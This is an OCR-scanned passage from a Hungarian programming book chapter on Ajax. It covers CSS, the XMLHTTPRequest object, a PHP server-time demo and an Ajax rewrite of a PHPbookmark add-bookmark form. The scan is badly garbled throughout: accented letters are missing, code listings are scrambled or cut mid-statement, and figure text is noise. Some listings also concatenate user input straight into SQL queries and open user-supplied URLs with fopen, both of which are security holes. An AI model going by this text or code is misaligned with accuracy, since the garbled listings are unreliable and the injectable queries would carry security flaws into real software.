background: font-family: font-size: white [or #fff or #ffffff]; Verdana, sans-serif;
12pt; normal;
font-weight:
Ezek az rtkek mindaddig rvnyben maradnak az oldalon, amg olyan elemhez nem rnk, amelynek stlust stluslapban definiltuk. Amikor pldul hl cmkvel tallkozik a kliens, hl szveg fog megjelenni, pontosan gy, ahogy azt meghatroz tk szmra- valsznleg a 12 pontosnl nagyobb mretben s bold, azaz flkvr stlusban. A kivlasztk mellett sajt osztlyokat s ID-kat is meghatrozhatunk a stluslapon. Az osztlyok (amiket adott oldal akr tbb elemn is hasznlhatunk) s az ID-k (amiket adott oldalon bell csak egyszer hasznlhatunk) segtsgvel mg inkbb finomthatjuk a weboldalon bell megjelentett elemek Icinzett s mkdst. Ez a finomhangols klnsen fontos lehet az Ajaxot tmogarni kpes weboldalakon, mert ott dokumentumunk elre meghatrozott terletein jelentnk meg tvoli szkriptmeghvssal lekrt j informcit. Az osztlyokat a kivlasztkhoz hasonlan definiljuk- a defincik kapcsos zrjelek kz kerlnek, s egymstl pontos vesszvel vlasztjuk el azokat. Nzzk meg pldul az ajaxterulet nev osztly definilst:
.ajaxterulet width: height:
{
400px; 400px; #fff; #OOO;
background: border:
lpx solid
34
x
Az ebben a pldban szerepl ajaxterulet osztly, amikor div trolra (container) alkalmazzuk, egy 400 pontos, fehr htter, vkony s fehr krvonal ngyzetet hoz ltre. A kvetkezkppen hasznljuk:
<div class="ajaxterulet">valamilyen szveg</div>
400 kp
A stluslapok hasznlatnak legelterjedtebb mdszere, hogy ltrehozunk egy klnll, az sszes stlusdefincit tartalmaz fjlt, majd HTML dokumentumunk he ad elemben hivatkozunk erre a fjlra, pldul gy:
<head> <link rel="stylesheet" </head> href="a stluslap.css" type="text/css">
Kliensoldali programozs
A kliensoldali programozs azt kveten trtnik meg bngsznkn bell, hogy egy oldalt teljes mrtkben letltttnk a kiszolglrL Az sszes programozsi funkci a kiszolglrl lekrt adatokban helyezkedik el, vrva arra, hogy mkdsbe
602
34.fezet
lpjen.A kliensoldalon vgrehajtott gyakori mveletek kz tartozik szveg vagy kp egyes rszeinek megjelentse vagy el rejtse, szveg vagy kp sznnek, mretnek vagy helynek megvltoztatsa, szmtsok vgrehajtsa, illetve az rlapba bevitt felhasznli input ellenrzse-az eltt, hogy elkldennk szerveroldali feldolgozsra. A legelterjedtebb kliensoldali szkriptnyelv a JavaScript-az Ajax J" betje. A VBScript is kliensoldali szkriptnyelv, de mivel " Microsoft-specifikus, gy nylt forrskd krnyezetekben, ahol brmilyen opercis rendszerrel s bngszvel tallkozha tunk, nem a legjobb vlaszts.
Szerveroldali programozs
A szerveroldali programozs kategrijba tartozik a kiszolgln tallhat minden kd, amit a kliensnek kldend vlasz eltt a kiszolgl rtelmez vagy lefordt. A szerveroldali programozs jellemzen adatbzisokhoz trtn szerveroldali kapcsold sokat foglal magban; az adatbzisnak kldtt krsek s az onnan fogadott vlaszok ezrt a kdok rszt kpezik. Ezeket a kdokat brmilyen szerveroldali nyelven megrhatjuk, legyen az Perl, JSP, ASP vagy PHP (a fejezet pldiban nyilvnval okokbl ez utbbit hasznljuk).Mivel a szerveroldali kdra adott vlasz ltalban a szabvnyos HTML valamilyen vltozatban lert adat megjelentse, a vgfelhasznl krnyezet kevsb fontos szmunkra.
XMLsXSLT
Az XML-lel a 33.fejezetben mr tallkozhattunk, ahol formtumnak, szerkezetnek s hasznlatnak alapjairl is olvas hattunk. Az Ajax alkalmazsok szempontjbl az XML-t-amely egybknt az Ajax.X" betje-az adatok kicserlsre, az XLST-t pedig az adatok kezelsre hasznljuk.Magukat az adatokat az ltalunk ltrehozott Ajax alkalmazssal kldjk, vagy abbl keressk vissza. Az XML-rl a http://www.w3.org/XML/, az XSL-rl pedig a http://www.w3.org/TR/xslt20/ oldalon tallunk bvebb lerst.
Ajax alapok
Miutn megismerkedtnk az Ajax alkalmazsok lehetsges sszetevivel, ebben a rszben ezeket az alkotelemeket sszerakva akci kzben vizsglunk meg egy mkd pldt. Kzben egy pillanatra se felejtsk el, hogy az Ajax hasznlarnak egyik el sdleges indoka az, hogy a felhasznl mveleteire azonnal, az oldal teljes frisstse nlkl vlaszolni kpes interaktv webolda lakat lltsunk el! Hogy elrjk ezt a clr, az Ajax alkalmazsok egy tovbbi feldolgozsi rteggel is rendelkeznek, amely a lekrt weboldal s az annak ellltsrt felel webszerver kztt helyezkedik el. Ezt a rteget Ajax Frameworknek (Ajax keretrendszernek) vagy Ajax Engine-nek (Ajax motornak) szoktk nevezni. A keretrendszer feladata, hogy kezelje a felhasznl s a webes kiszolgl kztti krseket, s gy kommunikljon ezekkel a krsekkel s vlaszokkal, hogy az ne ignyeljen tovbbi mveleteket (pld ul az oldal jrarajzolst), illetve ne szakitsa flbe a felhasznl ltal aktulisan vgzett mveletet (pldul a grgetst, a kattin tst vagy szvegrmb olvasst). A kvetkez oldalakon arrl olvashatunk, hogyan teremtik meg az Ajax alkalmazsok egymssal egyttmkd alkotele mei a zavartalan felhasznli lmnyt. AzXMLHTTPRequest objektum A fejezet korbbi rszben esett mr sz a HTTP krsekrl s vlaszokrl, illetve arrl, hogyan lehet Ajax alkalmazson bell kliensoldali programozst hasznlni.A webszerverhez kapcsoldshoz s az eredeti oldal teljes jratltse nlkli krsekhez az XMLHTTPRequest nev specilis JavaScript objektumra lesz szksgnk.
34
Megjegyzs: Az XMLHTTPRequest objektum biztonsgi okokbl csak az ugyanazon domainen belli URL-eket tudja
meghvni; tvoli kiszolglkat kzvetlenl nem hvhat meg.
Az XMLHTTPRequest objektumot szoks az Ajax alkalmazsok szvnek-lelknek" nevezni, mivel ez az objektum tlti be " a kliens krse s a kiszolgl vlasza kztti tjr (gateway) szerept.Rvidesen megtudjuk ugyan, hogy hogyan hozhatjuk ltre s hasznlhatjuk az XMLHTTPRequest objektum egy pldnyt, m ha szeretnnk a tmval bvebben foglalkozni, lto gassunk el a http:/ /www.w3.org/TR/XMLHttpRequest/ oldalra! Az XMLHTTPRequest objektum tbb attribtummal rendelkezik, a 34.1 tblzatban olvashatjuk ezeket.
603
34.1 tblzat: Az
Attribtu m
onreadystatechange readyState
A readyState tulajdonsg megvltozsa esetn meghvand fggvnyt hatrozza meg. A lekrs llapota, amelyet egsz szmok jelkpeznek: O (nem inicializlt), l (tltdik), 2 (be tltdtt), 3 (interaktv) s 4 (befejezett). Karakterlncknt tartalmazza a vlasz ltal visszaadott adatot. XML formtum dokumentumobjektumknt tartalmazza a vlasz ltal visszaadott adatot. A kiszolgl ltal visszakldtt HTTP llapotkd, pldul 200. A kiszolgl ltal visszakldtt szveges HTTP llapot, pldul OK.
Az XMLHTTPRequest objektumnak klnbz metdusai is vannak, a 34.2 tblzat ezeket mutatja be.
34.2 tblzat: Az XMLHTTPRequest
objektum metdusai
Lers
Metdus
abort() getAllResponseHeaders() getResponseHeader(header) open('method', 'URL', 'a')
Lellrja a krst. Karakterlncknt adja vissza a vlaszban lv sszes fejlcet. Karakterlncknt adja vissza a header fejlc rtkt. Paramcerei a HTTP mdszert (pldul POST vagy GET), a cl URL-t, illetve azt hatrozzk meg, hogy a krs aszinkron legyen-e (az a igaz) vagy sem (az
a hamis).
(x) s rtk (y) prt llt be, s fejlcknt elkldi a krssel egytt.
Az XMLHTTPRequest osztly hasznlathoz elszr is ltte kell hozni egy pldnyt. Ehhez nem elg csupn a kvetkez kdsort begpelni:
var keres = new XMLHTTPRequest();
Ez ugyan az Internet Explorertl klnbz bngszkn minden tovbbi nlkl mkdne, m jellernzen rnindenki sz mra elrhet kdot kvnunk rni. Az XMLHTTPRequest objektum rninden bngszben mkd, j pldnynak ltreho zshoz az albbi JavaScript kdot kell hasznlni:
function getXMLHTTPRequest() var keres try = false;
/* Firefaxhoz */
keres = new XMLHttpRequest();
34
\.
{
/* egyes IE verzikhoz */
keres = new ActiveXObject("Msxml2.XMLHTTP");
/* ms IE verzikhoz */
keres = new ActiveXObject("Microsoft.XMLHTTP");
= false;
return keres;
604
34.fezet
Ha ezt a JavaScript kdrszletet berjuk egy ajax_ fuggvenyek.js nev fjlba, majd az llomnyt elhelyezzk kiszolg lnkon, mris lerakruk Ajax fggvnyknyvtrunk alapjait. Ha az XMLHTTPRequest objekrum j pldnyt kivnjuk ltrehozni Ajax alkalmazsunkban, beillesztjk a fggvnyein ket tartalmaz fjlt:
<scr1pt src="aJaX fuggvenyek.js" type="text/javascript"></scr1pt>
A kvetkez rszben jabb puzzle darabot adunk hozz Ajax fggvnyfjl unkhoz.
Kommunikci
szerverrel
Az elz rszben ltott pldakddal mindssze egy j XMLHTTPRequest objekrum ltrehozst hajtorruk vgre, tny leges kommunikcis feladatra mg nem kerlt sor.A kvetkez pldban ltrehozzuk a kiszolglnak, egszen pomosan a szerverido.php nev PHP kdnak krst kld JavaScript fggvnyt.
function getSzerverido var azOldal =
()
'szerverido.php';
sajatKeres.open("GET",
sajatKeres.onreadystatechange sajatKeres.send(null);
aHTTPValasz;
A fggvnyben a kd els sora ltreh02:za azazOldal nev vltozt, s egyttal a szerverido.php rtkt rendeli hozz. Ez a neve a kiszolgln tallhat PHP kdnak. A kvetkez sor els rnzsre teljesen feleslegesnek tnhet, hiszen egy vletlen szmot llt el. Jogos a krds: Mi kze van egy vletlen szmnak a szerverid lekrshez? A vlasz az, hogy a vleden szmra nem kzvetlenl a kd miatt van szksg. Azrt hozzuk ltre, illetve azrt fzzk hozz a kd harmadik sorban az URL-hez, hogy elkerljk az esetleges problmkat, amik a krs bngsz (vagy proxy) ltali gyorsttrazsbl addhatnak. Ha az URL egyszeren az lenne, hogy http://kiszolgalonk/kodunk.php, az eredmnyek gyorsttrba kerlhetnnek. Ha viszont http://kiszolgalonk/kodunk. php?rand=veletlenertek formban lltjuk el az URL-t, akkor nem lesz mit gyorsttrazni, hiszen minden egyes alkalommal ms s ms URL-t kapunk, mikzben ez semmilyen hatssal nincs a mgttes kd mkdsre. A fggvny utols hrom sora az elz rszben ltott getXMLHTTPRequest () fggvny meghvsval ltrehozott
XMLHTTPRequest
Az open metdust meghv sorban az albbi paramtereket lthatjuk: a krs tpusa (GET) , az URL (azURL ) , illetve a true rtk, ami jelzi, hogy aszinkron krssel llunk szemben. Az onreadystatechange metdust hasznl sorban a fggvny az objekrum llapotnak vltozsakor egy j,
34
aHTTPValasz
A send metdust meghv sorban a fggvny NULL tartalmat kld a szerveroldali kdnak. Most hozzuk ltre a szerverido. php nev fjlt, amely a 34.1 pldakdban lthat kdot kell, hogy tartalmazza! 34.1 pldakd: A szerverido.php tartalma
<?php header('Content-Type: text/xml');
echo "<?xml version=\"1.0\" ?> <clock> <idostring>A pontos id6 ".date('H:i:s').", idostring> </clock>"; ?> a mai dtum pedig ".date('Y.m.d').".</
605
A kd lekri a PHP date() fggvnyvel a pillanatnyi szerveridt, m:lJd XML kdols karakterlncban visszaadja az rtket. A date () fggvnyt valjban ktszer hvjuk meg: egyszer date( ' H : i : s ' ),egyszer pedig date( ' Y. m.d. ' ) for mban. Az elbbi a pillanatnyi szerveridt adja vissza ra, perc s msodperc formban (24 rs idformtumot hasznlva), az utbbi pedig a kd meghvsnak dtumt v, hnap, nap formban.
Az eredmnyszering a kvetkezkppen fog kinzni - annyi klnbsggel, hogy a szgletes zrjelben lv elemek helyn az
pontos id [id],
</idostring> </clock>
A kvetkez rszben ltrehozzuk a mg htralv fggvnyt ( aHTTPValasz ()),s kezdnk valamit a kiszolgln lv PHP kdtl kapott vlasszal.
{ { {
A kls if...else utasts az objektum llapott ellenrzi. Ha az llapot nem 4 (befejezett), a kd egy animcit (<img
a kvetkez ellenrzssei azt nzzk meg, hogy a kiszolgl llapota vajon 200, azaz rendben van-e. Ha az llapot 200, lttehozzuk az idoString nev j vltozt. Ehhez a vltozhoz a szerveroldali kd ltal kldtt XML adat idostring elemben trolt rtket rendeljk, amit a vlasz getElementByTagname metdusval keresnk vissza:
var idoString = sajatKeres. responseXML. getElementsByTagName ("idostring") [O J;
A kvetkez lps ennek az rtknek a megjelentse a HTML fjlban, annak a CSS ltal meghatrozott tetletn. Pldnk ban az idomegjelenitese nven definilt dokumentumelemben fogjuk kiratni ezt az rtket:
document.getElementByld('idomegjelenitese').innerHTML = idoString.childNodes[O] .nodeValue;
34
tartalma
{
/* Firefaxhoz */ = new XMLHttpRequest();
keres try
catch (hiba)
606
34. fejezet
/* egyes keres
IE verzikhoz */
= new ActiveXObject("Msxml2.XMLHTTP");
{
/* ms IE verzikhoz */ keres = new ActiveXObject("Microsoft.XMLHTTP");
false;
return keres;
function getSzerverido ()
var azOldal = 'szerverido.php'; velSzam = parseint(Math.random()*999999999999999); var azURL = azOldal +"?rand="+velSzam; sajatKeres.open("GET", azURL, true);
function aHTTPValasz ()
{ 4) { {
if (sajatKeres.readyState ==
34
607
font-weight: normal;
. displaybox width: 300px; height: lOOpx; background-color:#ffffff; border:2px solid #000000; line-height: 2.5em; margin-top: 25px; font-size: 12pt; font-weight: bold;
</style>
</head>
<body>
<div align="center"> <hl>Ajax bemutat</hl> <p align="center">Ha az egeret a lenti tglalap fl mozgatja, a tglalapban megjelenik az aktulis szerverid.<br/> Az oldal nem frissl, csak a tglalap tartalma vltozik.</p>
</body> </html>
A kd az XHTML deklarcival indul, amit a <html> s a <head> nyitcmke kvet. A dokumentum head rszbe,
<styl e>< ls ty l e> cmkk kz kerlnek a stluslapelemek. A fenti kdban csak kt stlust hattozunk meg: a body cm
34
kn belli sszes tartalom formtumt, illetve a displaybox osztlyt hasznl elem formtumt. A displaybox osztlyt 300 kppont szles s 50 kppont magas, fehr htter s fekete krvonal tglalapknt hatrozzuk meg. A tglalapon belli nnden szveget 12 pontos, flkvr betvel szednk. A stluslapelemek utn, de mg a head rszen bell kvetkezik a JavaScript fggvnyknyvtrra mutat hivatkozs:
<script src="ajax_fuggvenyek.js" type="text/javascript"></script>
'-
Ekkor lezrjuk a head elemet, s elkezddik a body. Ebben csak XHTML kdot tallunk. Egy kzpre igaztott div elemben van az oldal fcmnek szvege (Ajax bemutat), illetve a ltogatknak sznt utastst, amely szerint az egeret a tgla lap fl mozgatva az aktulis szerveridt tudjk megjelenteni.
608
34. fejezet
Adiv elem attribtumain bell, idomegjelen i tese azonostval (id) lthatjuk a tnylegesen vgbemen mveletet,
Az onmouseover hasznlata azt eredmnyezi, hogy amikor a felhasznl egere az idomegjelen itese nev div ltal meghatrozott terlet fl kerl, a kd a getSzerverido () JavaScript fggvnyt hvja meg. A fggvny meghvsa krst intz a kiszolglhoz, a kiszolgl vlaszol, az eredmnyl add szveg pedig megjelenik ebben a div elemhen.
Megjegyzs: A javaScript fggvnyeket sokflekppen, pldul rlap klds gombjnak oneli ck esemnyvel is meghvhat
juk.
A34.1, 34.2 s 34.3 brn a mkdshe lp kd ltal kivltott esemnysort ltjuk. Az ajaxSzerverido. html oldal
egyik esethen sem tltdik jra, csak az idomegjelenitese nev d i v tartalma frissl.
Ajax bemutat
He az Wijefel: a lenti teglalap fO! mo.z98t}a, a tglalapben meo az Illetualis
S:ZI!f'lefld6. Az oldal nem frlssGI, csak 11 tglaiiiC) wtalma v6iltozllc.
34.1 bra:
Ajax bemutat
Han f!9l!t't1l a lenti tglalap fOi rncJZ911tja, a tglalapban me<,)elefWk az akbmUs szervet1d(i. Az oldal '*"frlS$11l, CSille a tglalao tartalma vllltozllt..
34
34.2 bra:
A felhasznl a tglalap fl mozgaija egert, ezzel elindija a krst; az ikon jelzi, hogy az objektum tltdik.
laa:-:x':' r-.o-
.[) ,_"_,----
M'4___
..,
..
o:-:tr,,
Ajax bemutat
I
34.3 bra:
A,..<d6'8'09"'5,mj
dlltum pedig 2010.09.27.
A kiszolgltl kapott eredmny megjelenik az idomegj elen itese nev div terletn; ha ismt a tglalap fl mozgaijuk egernket, jbl meghvjuk a kdot.
609
Megjegyzs: Ha mgis a regisztrci t alaktannk t gy, hogy tmogassa az Ajax mkdst, akkor egy JavaScript fggvny meghvsval olyan PHP kdot futtathatnnk, amely ellenrzi, hogy a felhasznl e-mail cme s felhasznli neve nem tallha t-e mr meg a rendszerben. Ha megtallhat, akkor a fggvny hibazenetet jelenthet meg, s a hibs adatok kijavtsig nem engedlyezi a regisztrcis rlap elkldst.
34
610
34.fezer
zetbl emlkezhernk r, hogy a HTML fejlcnek kimenert elllr fggvny neve html_fej lec_letrehozasa (},s a kimeneti_fuggvenyek.php fjlban tallhat. A fijlnak az j vltozatt a 34.4 pldakdban ralljuk. 34.4 pldakd: A html_fejlec_ letrehozasa(} fggvny kiegsztett, az j stluslapra s a JavaScriptfggvnyknyvtrra mutat vltozata
function html fejlec_letrehozasa($oldalcim} ll HTML fejlc megjelenitse ?> <html> <head> <title><?php echo $oldalcim;?><ltitle> <sty le> body li, hr a
{ font-family: Arial,
td f3333cc; tOOOOOO;
Helvetica,
sans-serif; font-size:
13px;
{ font-family: Arial, J }
Helvetica,
sans-serif; font-size:
13px;
{ color: { color:
<lstyle>
<lhead> <body> <img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O" align="left" valign="bottom" height="SS" width="57" l> <hl>PHPbookmark<lhl> <hr l> <?php if($oldalcim} do_html_heading($oldalcim};
Ha feleltttk mr az j srluslapor, a JavaScript fggvnyknyvrrat s a kimeneti_fuggvenyek.php fjlt, s megnyi runk a PHPbookmark alkalmazsban egy j oldalt, az j fjloknak hiba nlkl be kell illeszrdnik. A kvetkezkben tovbbi stlusokat s kdokar adunk ezekhez a fjlokhoz, hogy Ajax funkcikar valsrhassunk meg velk.
34
611
ll j knyvjelz hozzadsra szolgl rlap megjelenitse ?> <script type="text/javascript"> var sajatKeres = getXMLHTTPRequest{); </script> <form> <table width="250" cellpadding="2" cellspacing="O" bgcolor="lcccccc"> <tr><td>j knyvjelz:</td> <td><input type="text" name="uj_url" name="uj_url" value="http://" size="30" maxlength="255"/></td></tr> <tr><td colspan="2" align="center"> <input type="button" value="Knyvjelz hozzadsa" onClick=" javascript:ujKonyvjelzoHozzaadasa();"/></td></tr> </table> </form> <?php
Amikor a felhasznl erre a gombra kattint, az onCiick esemnykezel az ujKonyvjelzoHozzaadasa() JavaScript fggvnyt hvja meg. A fggvny krst intz a kiszolglhoz, egsz pontosan ahhoz a PHP kdhoz, amely megprblja beil leszteni a rekordot az adatbzisba. Ennek a fggvnynek a kdjt a 34.6 pldakdban olvashatjuk.
34.6 pldakd: Az ujKonyvj elzoHozzaadasa (} JavaScript fggvny
function ujKonyvjelzoHozzaadasa () var url = "kj_hozzaadasa.php"; var parameterek = "uj url=" + encodeURI(document.getElementByid('uj_url').value); sajatKeres.open("POST", url, true); "application/x-www-form-urlencoded"); parameterek.length);
sajatKeres.setRequestHeader("Content-type",
sajatKeres.setRequestHeader("Content-length", sajatKeres.setRequestHeader("Connection",
"close");
34
Ez a fggvny a fejezet korbbi rszben hasznlt getSzerverido() fggvnyhez hasonlan nz ki. A benne vgbemen folyamat is igen hasonl: vltozk ltrehozsa, adatok elkldse a PHP kdnak, maJd a kiszolgltl kapott vlaszt kezel fggvny meghvsa. A kvetkez sor egy nv/ rtk prt hoz ltre az rlapmez nevbl s a felhasznl ltal bert rtkbl:
var parameterek = "uj_url="
+
encodeURI(document.getElementByid('uj_url').value);
A parameterek rtkt a fggvny utols sorban kldjk vissza a mgttes PHP kdnak:
sajatKeres.send(parameterek);
Az rtkek eltt hrom krsfejlcet is elkldnk, hogy a kiszolgl tudja, miknt kezelj e a POST krsben kldtt adatokat:
sajatKeres.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); parameterek.length); sajatKeres.setRequestHeader("Content-length", sajatKeres.setRequestHeader("Connection",
"close");
A folyamat kvetkez lpse a kiszolgl vlaszt kezel JavaScript fggvny ltrehozsa; kdunkban a hozzaadKJValasz nevet adtuk ennek a fggvnynek:
sajatKeres.onreadystatechange = hozzaadKJValasz;
612
34. fejezet
Ez a kd is hasonlt a fejezet korbbi rszben ltrehozott aHTTPValasz fggvnyhez. A hozzaadKJValasz fggvny kdjt a 34.7 pldakd tartalmazza. 34.7 pldakd: A hozzaadKJValasz() JavaScriptfggvny
function hozzaadKJValasz () if (sajatKeres.readyState
{
==
4) {
if(sajatKeres.status == 200)
A fenti JavaScript fggvny elszr is ellenrzi az objektum llapott; ha befejezte feladatt, ellenrzi, hogy a kiszolgltl kapott vlaszkd vajon 200, azaz ok-e. Ha nem 20 O, a.,Hiba trtnt a krs teljestse kzben:' figyelmeztetst jelenti meg. Ha brmilyen ms vlasz jn a kj_hozzaactasa.php kd vgreh:ytsbl, az megjelenik egy eredmenymegjelenitese
id rtk div cmkben. Az eredmenymegjelenitese id jelen pillanatban fehr httrknt definilt az uj_ss. ess
stluslapban:
#eredmenymegjelenitese background: #fff;
A kj_hozzaad_urlap_megjelenitese ( ) PHP fggvnyhez-annak zr form cmkje utn- az albbi kdsort adtuk hozz; ez az a div, amelyben a kiszolgltl kapott eredmnyt megjelentjk a felhasznlnak:
<div id="eredmenymegjelenitese"></div>
A,
PHPbookmark
34
Krly'ljftzk houadba
F"'"J
PHPbookmark
Konyv}elz6k hoz.Uadiu
IWS::::'" -
o
o
34.4 bra: Knyvjelz hozzadsa a kj_hozzaadasa. php kd mdostsa eltt. Emlkezznk vissza, hogy a PHPbookmark alkalmazs nem aJaxos vltozatban kln oldalon jelenik meg az rlap s az rlap elkldsnek eredmnye, illetve minden alkalommal az sszes oldalelem betltdik. Az Ajaxot tmogat krnyezetben azonban azt szeretnnk, hogy ha felvesznk egy j knyvjelzt, akkor anlkl kapjuk vissza a kiszolgltl az eredmnyeket, s
613
folytathassuk a knyvjelzk hozzadst, hogy brmely oldalelemet jra be kellene tlteni. Ez az j fajta mkdsi md vltoz tatsokat ignyel a kj_ hoz zaadasa. php kdban, amelynek eredeti vltozatt a 34.8 pldakdban lthatjuk. 34.8 pldakd: Az eredeti kj_hozzaadasa.php kd
<?php require_once('konyvjelzo_fuggvenyek.php'); session_start();
{ (! kitoltott($_POST)) {
throw new Exception('Az rlap nincs teljesen kitltve. ');
ervenyes_felhasznalo_ellenorzese(); if
(! (@fopen($uj url,
'r')))
felhasznaloi_url_megjelenitese($url tomb);
echo $e->getMessage();
34
A kd els sora belesti a konyvjelzo fuggvenyek.php fjl sszes elemr. Ha megnzzk a konyvjelzo_
_
fuggvenyek. php tartalmr, lthatjuk, hogy a fjl tovbbi fjlok sorozatt hvja meg: <?php ll Ezt a fjlt az sszes fjlba beilleszthetjk, ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket require_once('adat_ellenorzo_fuggvenyek.php'); require_once('adatbazis_fuggvenyek.php'); require_once('felhasznaloi_hitelesites_fuggvenyek.php'); require_once('kimeneti_fuggvenyek.php'); require once('url fuggvenyek.php'); ?>
614
34.fezer
Ugyan az alkalmazs Ajaxor rmogar verzijnak knyvjelzk hozzadsra szolgl rszben nem biztos, hogy a fenti ele mek mindegyikre szksgnk lesz, az elejn lv megjegyzs mindenr megmagyarz: mindegyik (fjl} tartalmazni fogja fggvnyeinket s kivteleinket. ilyen helyzetben, amikor dinamikus oldalak sorozarrl prblunk tllni mindent az egyben tartalmaz ajaxos mkdsre, jobb megtartani nhny, esedeg feleslegesnek bizonyul elemet, minrsem eltvoltani egy-egy fontos funkcit. ppen ezrt hagyjuk meg a kj_hozzaadasa. php fjl els sort gy, ahogy van! A msodik sort, amely j felhasznli munkamenetet indt vagy meglvt folytat, szintn ne vltoztassuk meg! A mvelet Ajaxot tmogat verzijban is szksgnk van a biztonsgra. Ugyangy hagyjuk vltozatlanul a harmadik sort is, amelyben rvid vltoznevet ( Suj_url ) adunk a krsben elkldtt POST rtknek:
$uJ_url
=
$ POST['uj_url'];
Ezzel eljutottunk odig, hogy vgre-valahra eltvoltharunk valamir, nevesen az albbi sort:
html_fejlec_letrehozasa('Knyvjelzk hozzadsa'};
Mivel mr gyis a HTML fejlc-informcit tartalmaz oldalon ( kj_ hozzaactasa_urlap. php) vagyunk, nincs rtelme megismtelni azr, hiszen nem megynk msik oldalra. Ez az ismdds eredmnyezi a 34.4 brn ltott dupla fejlcet. Hason l okok miatt szabaduljunk meg a kj_hozzaactasa. php kd vgn tallhat kt sortl is:
html lablec letrehozasa(};
felhasznaloi_menu_megjelenitese(};
Ha eltvoltjuk ezeket az elemeket, feltltjk a fjlt a kiszolglra, majd megprblunk az alkalmazsban hozzadni egy knyvjelzr, megkzeltleg a vrt eredmnyt kapjuk.Nhny tovbbi mdostsra azonban mg mindig szksg van.A 34.5 brn azt lthatjuk, hogy a kdban az eddig a pontig vgrehajtott vltoztatsokkal hogyan jelenik meg az alkalmazs. Mg nndig ktszer jelenik meg a felhasznl llapotra vonatkoz informci (bejelentkezett), de az sszkp mr nem annyira zavar, mint az elbb. A kvetkez lps a dupln megjelen zenetek eltvoltsa, illetve a kd kivtelkezelshez kap csold rsznek mdosrsa, hogy az Ajax krnyezetben is megfelel legyen.
1--E:..:,------7i: 7:2
PHPbookmaf1t
KnyvjekOk hozzJadsa ..- --
...
T n-.,.
._
PHPbookmark
K6nyvjetz6k hozziiidba
--- A._,_".,_.___,_
----o
34.5 bra: A
knyvjelz hozzadsakor lthat oldal a kj_ hozzaadasa. php kd els mdostsa utn.
34
A felhasznl bejelentkezsi nevt tartalmaz zenet msodik pldnynak trlshez tvoltsuk el a kj_hozzaadasa. php kdbl az albbi sort:
ervenyes felhasznalo_ellenorzese(};
A felhasznl ellenrzse a kj_hozzaadasa_urlap. php oldal betltsekor mr megtrtnr; jogosuladan felhasznl knt nem juthatnnk olyan oldalra, amely Ajax funkcikat hv meg. A kvetkez lps a kls try blokk s a kivtelkezels eltvoltsa. Erre azrt van szksg, mert azt szeretnnk, hogy a kd gy rjen vget, hogy megjelenti a felhasznlnak a mr elmentett URL-ek lisrjr. Ez azt jelenti, hogy mdostanunk kell azt, ahogy- szksg esern- a hibazenerek megjelennek. A 34.9 pldakd a kj_ hozzaadasa. php mdostort vltozatt tartalmazza.
34.9
pldakd: A
kj_hozzaactasa. php
kd mdostott vltozata
615
ll rvid vltoznv ltrehozsa $uJ_url = $_POST['uj_url']; ll ellenrizzk, ll ha nincsen echo "<p class=\"warn\">Az rlap nincs teljesen kitltve.<lp>"; else hogy az rlap ki lett-e tltve! if (!kitoltott($_POST))
{
ellenrizzk s szksg esetn javtsuk ki a:: URL formtumt! 'http:ll') === false)
ll ha ki van; $uj_url
if (strstr($uj_url,
'http:ll'.$uj_url;
{
adjuk hozz az adatbzishoz!
ll ha rvnyes,
ll a jelenlegi krs llapottl fggetlenl ll a felhasznl ltal elmentett knyvjelzk lekrse if ($url_tomb = felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo'])) felhasznaloi_url_megjelenitese($url_tomb); ?>
A kd ezen vltozata is a lehetsges esemnyek logikus menett kveti, m az egyes oldalelemek megkett:l:se nlkl jelenti meg a megfelel hiba::enetet. Elsknt a::t ellenri::::k, hogy magt az rlapot kitltttk-e. Ha nem, akkor hiba::enet jelenik meg a ho::adsra s::olg l rlap s az eltrolt knyvjel::k aktulis listja k::tt. Ezt az esetet ltjuk a 34.6 brn. A msodik ellenrzs az URL megfelel formtumra vonatkok; nem megfelel formtum esetn a karakterlncot helyes URL-l alaktjuk, majd tovbbmegynk a kvetkez lpsre. Ebben az URL-t megnyitva ellenmzk rvnyessgt. Ha az URL-t nem lehet megnyitni, hiba::enet jelenik meg az rlap s az eltrolt knyvjel::k aktulis listja k::tt. Mkd URL esetn ho::::adjuk azt a felhas::nl URL-jeit trol listho::. A 34.7 brn azt a vlas::t ltjuk, amit akkor kapunk, ha rvny telen URL-t kisrink meg ho::::adni a listho::.
-=---J-=
A
PHPbookmark KDnyvjehOk houi.adba
34
1---
IIWIWMIMI __.... , _
Ef;;;:;....;.ji ..
D t
616
34. fejezet
//HPbookmark
Knyvjelzk hozzdlso
IQIIak:s....
ll!_ --
11
.......
J
o
o o
34
ll ellenrizzk,
$eredmeny = $kapcsolat->query("SELECT
FROM konyvjelzo
617
ll j knyvjelz hozzadsa az adatbzishoz if (!$kapcsolat->query("insert into konyvjelzo values ('".$ervenyes_felhasznalo."', throw new Exception('A '" .$uj_url."')")) hozzadsa nem sikerlt.');
knyvjelz
return true;
Jelen esetben pusztn a kivteleket szeretnnk megvltoztatni, hogy hibazenetet eredmnyezzenek, s folytassk a feldolgo zst (megjelentst). Ezt gy rhegk el, ha a kt klnll if blokkot
if ($eredmeny && ($eredmeny->num_rows>0))
az
{
INTO konyvjelzo VALUES '".$uj_url."')"))
echo "<p class=\"warn\">A knyvjelz hozzadsa nem sikerlt.<lp>"; else echo "<p>A knyvjelz hozzadsa sikerlt.<lp>";
A kdnak ez a vltozata is a lehetsges esemnyek logikai menett kveti, s a megfelel hibazeneteker jelenti meg. Miutn megvizsglj a, hogy
az
adott knyvjelz megtallhat-e mr a felhasznl knyvjelzi kztt, vagy hibazenet jelent meg az
az
rlap s az eltrolt knyvjelzk aktulis listja kztt, vagy megprblja hozzadni a knyvjelzt az adatbzishoz. Ha a hozzads nem hajthat vgre, megint csak hibazenet jelenik meg az rlap s a felhasznlval. Ezt
az
Amennyiben a knyvjelzt sikeresen hozzadtuk az adatbzishoz, ..A knyvjelz hozzadsa sikerlt:' zenetet kzljk echo utastst eltvoltottuk a kj_ hozzaactasa. php kdbl, s a kj_hozzaadasa( ) fggvnybe tettk be, mert msklnben az is elfordulhatna, hogy a felhasznl,.A knyvjelz hozzadsa nem sikerlt:' zenetre!, majd kzvetlenl utna"A knyvjelz hozzadsa sikerlt:' zenettel tallkozik olyan esetben, amikor egybknt a knyvjelzt nem sikerlt felvennie. A 34.9 brn a fenti vltoztatsok eredmnyt lguk.
34
A __ ,_,_"-.-.,
---
c c
__......, , _
618
34. fejezet
